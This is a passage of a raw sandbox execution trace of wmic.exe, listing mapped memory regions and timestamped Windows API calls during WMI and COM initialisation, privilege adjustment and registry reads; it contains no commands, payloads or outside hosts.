region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2449 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2450 start_va = 0x80000 end_va = 0x8ffff entry_point = 0x80000 region_type = mapped_file name = "wmic.exe.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\WMIC.exe.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmic.exe.mui") Region: id = 2451 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2452 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2453 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 2454 start_va = 0x1030000 end_va = 0x242ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001030000" filename = "" Region: id = 2455 start_va = 0x310000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2456 start_va = 0x8d0000 end_va = 0x90ffff entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 2457 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2458 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2459 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2460 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2461 start_va = 0x751d0000 end_va = 0x751d9fff entry_point = 0x751d0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2462 start_va = 0x75170000 end_va = 0x751cbfff entry_point = 0x75170000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2463 start_va = 0x910000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 2464 start_va = 0xb30000 end_va = 0xdfefff entry_point = 0xb30000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2465 start_va = 0x75030000 end_va = 0x75162fff entry_point = 0x75030000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll") Region: id = 2466 start_va = 0x910000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 2467 start_va = 0xaf0000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 2468 start_va = 0x2430000 end_va = 0x265ffff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 2469 start_va = 0xe00000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2470 start_va = 0x7f0000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 2471 start_va = 0x910000 end_va = 0x9affff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 2472 start_va = 0xa40000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 2473 start_va = 0x180000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2474 start_va = 0xe00000 end_va = 0xefffff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2475 start_va = 0xf50000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 2476 start_va = 0xe00000 end_va = 0xebffff entry_point = 0xe00000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2477 start_va = 0xec0000 end_va = 0xefffff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 2478 start_va = 0x2660000 end_va = 0x2a5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 2479 start_va = 0x180000 end_va = 0x180fff entry_point = 0x180000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\SysWOW64\\msxml3r.dll" (normalized: "c:\\windows\\syswow64\\msxml3r.dll") Region: id = 2480 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2481 start_va = 0x190000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2482 start_va = 0x762e0000 end_va = 0x76415fff entry_point = 0x762e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 2483 start_va = 0x75be0000 end_va = 0x75cd4fff entry_point = 0x75be0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 2484 start_va = 0x757f0000 end_va = 0x759eafff entry_point = 0x757f0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 2485 start_va = 0x76190000 end_va = 0x762acfff entry_point = 0x76190000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2486 start_va = 0x772c0000 end_va = 0x772cbfff entry_point = 0x772c0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2487 start_va = 0x2430000 end_va = 0x252ffff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 2488 start_va = 0x2620000 end_va = 0x265ffff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 2489 start_va = 0x1f0000 end_va = 0x1f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2490 start_va = 0x74e90000 end_va = 0x7502dfff entry_point = 0x74e90000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2491 start_va = 0x280000 end_va = 0x280fff entry_point = 0x280000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2492 start_va = 0x290000 end_va = 0x291fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 2493 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2494 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2495 start_va = 0x74e80000 end_va = 0x74e8afff entry_point = 0x74e80000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2496 start_va = 0x2e0000 end_va = 0x2effff entry_point = 0x2e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2497 start_va = 0x2f0000 end_va = 0x2f7fff entry_point = 0x2f0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2498 start_va = 0x300000 end_va = 0x30ffff entry_point = 0x300000 region_type = mapped_file name = "index.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2499 start_va = 0x74e50000 end_va = 0x74e70fff entry_point = 0x74e50000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2500 start_va = 0x756a0000 end_va = 0x756e4fff entry_point = 0x756a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2501 start_va = 0x74c90000 end_va = 0x74cd3fff entry_point = 0x74c90000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2502 start_va = 0x2a60000 end_va = 0x2bdffff entry_point = 0x0 region_type = private name = "private_0x0000000002a60000" filename = "" Region: id = 2503 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2504 start_va = 0x9b0000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2505 start_va = 0x2530000 end_va = 0x260efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002530000" filename = "" Region: id = 2506 start_va = 0x2a80000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 2507 start_va = 0x2b20000 end_va = 0x2b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 2508 start_va = 0x2ba0000 end_va = 0x2bdffff entry_point = 0x0 region_type = private name = "private_0x0000000002ba0000" filename = "" Region: id = 2509 start_va = 0x74c70000 end_va = 0x74c85fff entry_point = 0x74c70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2510 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2511 start_va = 0x350000 end_va = 0x38bfff entry_point = 0x350000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2512 start_va = 0x350000 end_va = 0x38bfff entry_point = 0x350000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2513 start_va = 0x350000 end_va = 0x38bfff entry_point = 0x350000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2514 start_va = 0x350000 end_va = 0x38bfff entry_point = 0x350000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2515 start_va = 0x350000 end_va = 0x38bfff entry_point = 0x350000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2516 start_va = 0x74c30000 end_va = 0x74c6afff entry_point = 0x74c30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2517 start_va = 0x74e40000 end_va = 0x74e4dfff entry_point = 0x74e40000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2518 start_va = 0x880000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 2519 start_va = 0xa80000 end_va = 0xabffff entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 2520 start_va = 0x2ac0000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 2521 start_va = 0x2c20000 end_va = 0x2c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 2522 start_va = 0x2c60000 end_va = 0x2c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c60000" filename = "" Region: id = 2523 start_va = 0x2d00000 end_va = 0x2d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 2524 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2525 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2526 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2527 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 2528 start_va = 0x74b70000 end_va = 0x74c12fff entry_point = 0x74b70000 region_type = mapped_file name = "msvcr90.dll" filename = "\\Windows\\winsxs\\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\\msvcr90.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\\msvcr90.dll") Region: id = 2529 start_va = 0x74c20000 end_va = 0x74c2cfff entry_point = 0x74c20000 region_type = mapped_file name = "msoxmlmf.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\msoxmlmf.dll") Region: id = 2530 start_va = 0x2ee0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 2531 start_va = 0x74b60000 end_va = 0x74b6efff entry_point = 0x74b60000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2532 start_va = 0x74ac0000 end_va = 0x74b55fff entry_point = 0x74ac0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2533 start_va = 0x74aa0000 end_va = 0x74ab7fff entry_point = 0x74aa0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2534 start_va = 0x360000 end_va = 0x36cfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 2719 start_va = 0x74a70000 end_va = 0x74a86fff entry_point = 0x74a70000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 2720 start_va = 0x360000 end_va = 0x364fff entry_point = 0x360000 region_type = mapped_file name = "wmiutils.dll.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmiutils.dll.mui") Thread: id = 99 os_tid = 0x814 [0047.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dfa8c | out: lpSystemTimeAsFileTime=0x2dfa8c*(dwLowDateTime=0xdaca8ac0, dwHighDateTime=0x1d4abdd)) [0047.258] GetCurrentProcessId () returned 0x818 [0047.258] GetCurrentThreadId () returned 0x814 [0047.258] GetTickCount () returned 0x1ae29 [0047.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2dfa84 | out: lpPerformanceCount=0x2dfa84*=1812249100000) returned 1 [0047.262] GetModuleHandleA (lpModuleName=0x0) returned 0xfc0000 [0047.262] __set_app_type (_Type=0x1) [0047.262] __p__fmode () returned 0x75ed31f4 [0047.262] __p__commode () returned 0x75ed31fc [0047.262] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffdc15) returned 0x0 [0047.263] __wgetmainargs (in: _Argc=0x100c5e8, _Argv=0x100c5f0, _Env=0x100c5ec, _DoWildCard=0, _StartInfo=0x100c5fc | out: _Argc=0x100c5e8, _Argv=0x100c5f0, _Env=0x100c5ec) returned 0 [0047.285] ??0CHString@@QAE@XZ () returned 0x100c28c [0047.287] ??0CHString@@QAE@XZ () returned 0x100c594 [0047.287] ?Empty@CHString@@QAEXXZ () returned 0x75260504 [0047.287] SetConsoleCtrlHandler (HandlerRoutine=0xff6b6f, Add=1) returned 1 [0047.287] _onexit (_Func=0x1002f1f) returned 0x1002f1f [0047.287] _onexit (_Func=0x1002f2e) returned 0x1002f2e [0047.287] _onexit (_Func=0x1002f42) returned 0x1002f42 [0047.287] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0047.287] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0047.288] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0047.294] CoCreateInstance (in: rclsid=0xfc6c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xfc6b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x100c1b0 | out: ppv=0x100c1b0*=0xaf0828) returned 0x0 [0047.302] GetCurrentProcess () returned 0xffffffff [0047.302] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x2df934 | out: TokenHandle=0x2df934*=0x10c) returned 1 [0047.302] GetTokenInformation (in: TokenHandle=0x10c, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2df930 | out: TokenInformation=0x0, ReturnLength=0x2df930) returned 0 [0047.302] GetTokenInformation (in: TokenHandle=0x10c, TokenInformationClass=0x3, TokenInformation=0x3c2788, TokenInformationLength=0x118, ReturnLength=0x2df930 | out: TokenInformation=0x3c2788, ReturnLength=0x2df930) returned 1 [0047.302] AdjustTokenPrivileges (in: TokenHandle=0x10c, DisableAllPrivileges=0, NewState=0x3c2788*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.302] CloseHandle (hObject=0x10c) returned 1 [0047.303] GetSystemDirectoryW (in: lpBuffer=0x3c2860, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0047.303] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0047.303] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0047.304] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x75a20000 [0047.304] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0047.305] SetThreadUILanguage (LangId=0x0) returned 0x409 [0047.305] FreeLibrary (hLibModule=0x75a20000) returned 1 [0047.305] _vsnwprintf (in: _Buffer=0x3c2818, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x2df890 | out: _Buffer="ms_409") returned 6 [0047.305] GetComputerNameW (in: lpBuffer=0x3c3fb8, nSize=0x2df8e8 | out: lpBuffer="XDUWTFONO", nSize=0x2df8e8) returned 1 [0047.306] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.306] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.306] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x2df924 | out: lpNameBuffer=0x0, nSize=0x2df924) returned 0x0 [0047.306] GetLastError () returned 0xea [0047.307] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c2880, nSize=0x2df924 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2df924) returned 0x1 [0047.307] lstrlenW (lpString="") returned 0 [0047.307] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.307] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0047.309] lstrlenW (lpString=".") returned 1 [0047.309] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.309] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0047.309] lstrlenW (lpString="LOCALHOST") returned 9 [0047.309] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.309] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0047.309] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.309] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.309] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0047.309] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.309] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.309] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.309] lstrlenW (lpString="XDUWTFONO") returned 9 [0047.310] SysStringLen (param_1="IDENTIFY") returned 0x8 [0047.310] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0047.310] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0047.310] SysStringLen (param_1="IDENTIFY") returned 0x8 [0047.310] SysStringLen (param_1="IMPERSONATE") returned 0xb [0047.310] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0047.310] SysStringLen (param_1="IMPERSONATE") returned 0xb [0047.310] SysStringLen (param_1="IDENTIFY") returned 0x8 [0047.310] SysStringLen (param_1="IDENTIFY") returned 0x8 [0047.310] SysStringLen (param_1="IMPERSONATE") returned 0xb [0047.310] SysStringLen (param_1="DELEGATE") returned 0x8 [0047.310] SysStringLen (param_1="IDENTIFY") returned 0x8 [0047.310] SysStringLen (param_1="DELEGATE") returned 0x8 [0047.310] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0047.310] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0047.310] SysStringLen (param_1="DELEGATE") returned 0x8 [0047.311] SysStringLen (param_1="NONE") returned 0x4 [0047.311] SysStringLen (param_1="DEFAULT") returned 0x7 [0047.311] SysStringLen (param_1="DEFAULT") returned 0x7 [0047.311] SysStringLen (param_1="NONE") returned 0x4 [0047.312] SysStringLen (param_1="CONNECT") returned 0x7 [0047.312] SysStringLen (param_1="DEFAULT") returned 0x7 [0047.312] SysStringLen (param_1="CALL") returned 0x4 [0047.312] SysStringLen (param_1="DEFAULT") returned 0x7 [0047.312] SysStringLen (param_1="CALL") returned 0x4 [0047.312] SysStringLen (param_1="CONNECT") returned 0x7 [0047.312] SysStringLen (param_1="PKT") returned 0x3 [0047.312] SysStringLen (param_1="DEFAULT") returned 0x7 [0047.312] SysStringLen (param_1="PKT") returned 0x3 [0047.312] SysStringLen (param_1="NONE") returned 0x4 [0047.312] SysStringLen (param_1="NONE") returned 0x4 [0047.312] SysStringLen (param_1="PKT") returned 0x3 [0047.312] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0047.312] SysStringLen (param_1="DEFAULT") returned 0x7 [0047.312] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0047.312] SysStringLen (param_1="NONE") returned 0x4 [0047.312] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0047.312] SysStringLen (param_1="PKT") returned 0x3 [0047.313] SysStringLen (param_1="PKT") returned 0x3 [0047.313] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0047.313] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0047.313] SysStringLen (param_1="DEFAULT") returned 0x7 [0047.313] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0047.313] SysStringLen (param_1="PKT") returned 0x3 [0047.313] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0047.313] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0047.313] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0047.313] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0047.313] GetSystemDirectoryW (in: lpBuffer=0x3c2f28, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0047.313] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0047.313] SysStringLen (param_1="\\wbem\\") returned 0x6 [0047.313] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0047.314] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0047.314] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0047.314] GetCurrentThreadId () returned 0x814 [0047.314] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x2df440 | out: phkResult=0x2df440*=0x110) returned 0x0 [0047.314] RegQueryValueExW (in: hKey=0x110, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x2df44c, lpcbData=0x2df448*=0x400 | out: lpType=0x0, lpData=0x2df44c*=0x30, lpcbData=0x2df448*=0x4) returned 0x0 [0047.314] _wcsicmp (_String1="0", _String2="1") returned -1 [0047.314] _wcsicmp (_String1="0", _String2="2") returned -2 [0047.314] RegQueryValueExW (in: hKey=0x110, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x2df448*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x2df448*=0x42) returned 0x0 [0047.314] 